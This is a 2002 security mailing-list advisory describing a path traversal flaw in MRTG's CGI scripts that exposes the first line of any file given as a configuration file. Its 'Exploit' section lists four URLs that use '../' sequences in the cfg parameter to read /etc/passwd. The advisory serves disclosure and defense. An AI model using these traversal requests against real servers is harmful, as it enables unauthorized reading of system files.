[UNIX] MRTG CGI Script "Show Files" Vulnerability

From: support@securiteam.com
Date: 02/08/02 

From: support@securiteam.com
To: list@securiteam.com
Date: Fri,  8 Feb 2002 13:45:09 +0100 (CET)

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  MRTG CGI Script "Show Files" Vulnerability
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SUMMARY

The Multi Router Traffic Grapher ( <http://www.mrtg.org/> MRTG) is a tool
to monitor the traffic load on network-links. MRTG generates HTML pages
containing GIF images that provide a LIVE visual representation of this
traffic. A security vulnerability in the product allows viewing of the
first line of any file it is given as a configuration file.

DETAILS

Exploit:
http://www.example.com/cgi-bin/14all.cgi?cfg=../../../../../../../../etc/passwd
http://www.example.com/cgi-bin/14all-1.1.cgi?cfg=../../../../../../../../etc/passwd
http://www.example.com/cgi-bin/traffic.cgi?cfg=../../../../../../../../etc/passwd
http://www.example.com/cgi-bin/mrtg.cgi?cfg=../../../../../../../../etc/passwd

ADDITIONAL INFORMATION

The information has been provided by <mailto:cuctema@ok.ru> UkR-XblP?.

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